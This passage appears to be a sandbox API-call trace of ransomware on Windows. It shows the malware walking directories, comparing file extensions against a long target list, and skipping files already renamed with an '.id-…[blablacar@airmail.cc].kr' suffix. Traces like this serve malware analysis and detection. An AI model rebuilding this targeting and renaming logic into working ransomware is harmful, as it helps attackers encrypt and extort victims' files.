[0084.290] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".ods") returned 4 [0084.290] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".oft") returned 4 [0084.290] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".one") returned 4 [0084.290] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".onepkg") returned 7 [0084.290] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0084.290] lstrlenW (lpString=".onetoc2") returned 8 [0084.290] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0084.290] lstrlenW (lpString=".opt") returned 4 [0084.290] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".oqy") returned 4 [0084.290] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".orf") returned 4 [0084.290] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".p12") returned 4 [0084.290] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".p7b") returned 4 [0084.290] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".p7c") returned 4 [0084.290] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0084.290] lstrlenW (lpString=".pam") returned 4 [0084.291] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pbm") returned 4 [0084.291] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pct") returned 4 [0084.291] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pcx") returned 4 [0084.291] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pdd") returned 4 [0084.291] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pdf") returned 4 [0084.291] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pdp") returned 4 [0084.291] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pef") returned 4 [0084.291] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pem") returned 4 [0084.291] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pff") returned 4 [0084.291] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pfm") returned 4 [0084.291] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pfx") returned 4 [0084.291] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".pgm") returned 4 [0084.291] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".php") returned 4 [0084.291] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0084.291] lstrlenW (lpString=".php3") returned 5 [0084.291] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0084.291] lstrlenW (lpString=".php4") returned 5 [0084.291] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0084.291] lstrlenW (lpString=".php5") returned 5 [0084.292] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0084.292] lstrlenW (lpString=".phtml") returned 6 [0084.292] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0084.292] lstrlenW (lpString=".pict") returned 5 [0084.292] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0084.292] lstrlenW (lpString=".pl") returned 3 [0084.292] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0084.292] lstrlenW (lpString=".pls") returned 4 [0084.292] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".pm") returned 3 [0084.292] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0084.292] lstrlenW (lpString=".png") returned 4 [0084.292] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".pnm") returned 4 [0084.292] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".pot") returned 4 [0084.292] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".potm") returned 5 [0084.292] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0084.292] lstrlenW (lpString=".potx") returned 5 [0084.292] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0084.292] lstrlenW (lpString=".ppa") returned 4 [0084.292] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".ppam") returned 5 [0084.292] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0084.292] lstrlenW (lpString=".ppm") returned 4 [0084.292] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".pps") returned 4 [0084.292] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0084.292] lstrlenW (lpString=".ppsm") returned 5 [0084.292] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0084.292] lstrlenW (lpString=".ppt") returned 4 [0084.293] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".pptm") returned 5 [0084.293] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0084.293] lstrlenW (lpString=".pptx") returned 5 [0084.293] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0084.293] lstrlenW (lpString=".prn") returned 4 [0084.293] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".ps") returned 3 [0084.293] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0084.293] lstrlenW (lpString=".psb") returned 4 [0084.293] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".psd") returned 4 [0084.293] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".pst") returned 4 [0084.293] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".ptx") returned 4 [0084.293] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".pub") returned 4 [0084.293] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".pwm") returned 4 [0084.293] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".pxr") returned 4 [0084.293] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0084.293] lstrlenW (lpString=".py") returned 3 [0084.293] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0084.293] lstrlenW (lpString=".qt") returned 3 [0084.293] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0084.293] lstrlenW (lpString=".r3d") returned 4 [0084.293] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0084.294] lstrlenW (lpString=".raf") returned 4 [0084.294] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0084.294] lstrlenW (lpString=".rar") returned 4 [0084.294] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0084.294] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc468c361, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc468c361, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0084.294] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.294] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.294] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0084.294] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0084.294] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0084.294] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0084.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26 [0084.295] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0084.295] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.295] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4809acc, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc482fc22, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0084.295] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0084.295] lstrlenW (lpString=".1cd") returned 4 [0084.295] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0084.295] lstrlenW (lpString=".3ds") returned 4 [0084.295] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0084.295] lstrlenW (lpString=".3fr") returned 4 [0084.295] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0084.295] lstrlenW (lpString=".3g2") returned 4 [0084.295] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0084.295] lstrlenW (lpString=".3gp") returned 4 [0084.295] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0084.295] lstrlenW (lpString=".7z") returned 3 [0084.295] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0084.295] lstrlenW (lpString=".accda") returned 6 [0084.295] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0084.295] lstrlenW (lpString=".accdb") returned 6 [0084.295] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0084.295] lstrlenW (lpString=".accdc") returned 6 [0084.295] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0084.295] lstrlenW (lpString=".accde") returned 6 [0084.296] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0084.296] lstrlenW (lpString=".accdt") returned 6 [0084.296] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0084.296] lstrlenW (lpString=".accdw") returned 6 [0084.296] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0084.296] lstrlenW (lpString=".adb") returned 4 [0084.296] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".adp") returned 4 [0084.296] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".ai") returned 3 [0084.296] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0084.296] lstrlenW (lpString=".ai3") returned 4 [0084.296] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".ai4") returned 4 [0084.296] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".ai5") returned 4 [0084.296] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".ai6") returned 4 [0084.296] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".ai7") returned 4 [0084.296] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".ai8") returned 4 [0084.296] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".anim") returned 5 [0084.296] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0084.296] lstrlenW (lpString=".arw") returned 4 [0084.296] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".as") returned 3 [0084.296] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0084.296] lstrlenW (lpString=".asa") returned 4 [0084.296] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0084.296] lstrlenW (lpString=".asc") returned 4 [0084.296] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".ascx") returned 5 [0084.297] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0084.297] lstrlenW (lpString=".asm") returned 4 [0084.297] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".asmx") returned 5 [0084.297] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0084.297] lstrlenW (lpString=".asp") returned 4 [0084.297] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".aspx") returned 5 [0084.297] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0084.297] lstrlenW (lpString=".asr") returned 4 [0084.297] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".asx") returned 4 [0084.297] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".avi") returned 4 [0084.297] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".avs") returned 4 [0084.297] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".backup") returned 7 [0084.297] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0084.297] lstrlenW (lpString=".bak") returned 4 [0084.297] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".bay") returned 4 [0084.297] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0084.297] lstrlenW (lpString=".bd") returned 3 [0084.297] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0084.297] lstrlenW (lpString=".bin") returned 4 [0084.298] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".bmp") returned 4 [0084.298] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".bz2") returned 4 [0084.298] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".c") returned 2 [0084.298] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0084.298] lstrlenW (lpString=".cdr") returned 4 [0084.298] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".cer") returned 4 [0084.298] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".cf") returned 3 [0084.298] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0084.298] lstrlenW (lpString=".cfc") returned 4 [0084.298] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".cfm") returned 4 [0084.298] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".cfml") returned 5 [0084.298] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0084.298] lstrlenW (lpString=".cfu") returned 4 [0084.298] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".chm") returned 4 [0084.298] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".cin") returned 4 [0084.298] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".class") returned 6 [0084.298] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0084.298] lstrlenW (lpString=".clx") returned 4 [0084.298] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0084.298] lstrlenW (lpString=".config") returned 7 [0084.298] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0084.299] lstrlenW (lpString=".cpp") returned 4 [0084.299] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".cr2") returned 4 [0084.299] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".crt") returned 4 [0084.299] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".crw") returned 4 [0084.299] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".cs") returned 3 [0084.299] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0084.299] lstrlenW (lpString=".css") returned 4 [0084.299] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".csv") returned 4 [0084.299] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".cub") returned 4 [0084.299] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".dae") returned 4 [0084.299] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".dat") returned 4 [0084.299] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".db") returned 3 [0084.299] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0084.299] lstrlenW (lpString=".dbf") returned 4 [0084.299] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".dbx") returned 4 [0084.299] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".dc3") returned 4 [0084.299] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0084.299] lstrlenW (lpString=".dcm") returned 4 [0084.299] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".dcr") returned 4 [0084.300] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".der") returned 4 [0084.300] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".dib") returned 4 [0084.300] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".dic") returned 4 [0084.300] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".dif") returned 4 [0084.300] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".divx") returned 5 [0084.300] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0084.300] lstrlenW (lpString=".djvu") returned 5 [0084.300] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0084.300] lstrlenW (lpString=".dng") returned 4 [0084.300] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".doc") returned 4 [0084.300] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".docm") returned 5 [0084.300] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0084.300] lstrlenW (lpString=".docx") returned 5 [0084.300] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0084.300] lstrlenW (lpString=".dot") returned 4 [0084.300] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0084.300] lstrlenW (lpString=".dotm") returned 5 [0084.300] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0084.300] lstrlenW (lpString=".dotx") returned 5 [0084.300] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0084.301] lstrlenW (lpString=".dpx") returned 4 [0084.301] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".dqy") returned 4 [0084.301] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".dsn") returned 4 [0084.301] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".dt") returned 3 [0084.301] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0084.301] lstrlenW (lpString=".dtd") returned 4 [0084.301] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".dwg") returned 4 [0084.301] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".dwt") returned 4 [0084.301] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".dx") returned 3 [0084.301] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0084.301] lstrlenW (lpString=".dxf") returned 4 [0084.301] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".edml") returned 5 [0084.301] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0084.301] lstrlenW (lpString=".efd") returned 4 [0084.301] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0084.301] lstrlenW (lpString=".elf") returned 4 [0084.302] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".emf") returned 4 [0084.302] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".emz") returned 4 [0084.302] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".epf") returned 4 [0084.302] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".eps") returned 4 [0084.302] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".epsf") returned 5 [0084.302] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0084.302] lstrlenW (lpString=".epsp") returned 5 [0084.302] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0084.302] lstrlenW (lpString=".erf") returned 4 [0084.302] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".exr") returned 4 [0084.302] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".f4v") returned 4 [0084.302] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".fido") returned 5 [0084.302] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0084.302] lstrlenW (lpString=".flm") returned 4 [0084.302] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".flv") returned 4 [0084.302] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".frm") returned 4 [0084.302] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0084.302] lstrlenW (lpString=".fxg") returned 4 [0084.302] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".geo") returned 4 [0084.303] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".gif") returned 4 [0084.303] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".grs") returned 4 [0084.303] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".gz") returned 3 [0084.303] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0084.303] lstrlenW (lpString=".h") returned 2 [0084.303] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0084.303] lstrlenW (lpString=".hdr") returned 4 [0084.303] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".hpp") returned 4 [0084.303] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".hta") returned 4 [0084.303] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".htc") returned 4 [0084.303] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".htm") returned 4 [0084.303] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".html") returned 5 [0084.303] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0084.303] lstrlenW (lpString=".icb") returned 4 [0084.303] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".ics") returned 4 [0084.303] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".iff") returned 4 [0084.303] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".inc") returned 4 [0084.303] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0084.303] lstrlenW (lpString=".indd") returned 5 [0084.303] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0084.303] lstrlenW (lpString=".ini") returned 4 [0084.304] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".iqy") returned 4 [0084.304] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".j2c") returned 4 [0084.304] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".j2k") returned 4 [0084.304] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".java") returned 5 [0084.304] lstrcmpiW (lpString1=".java", 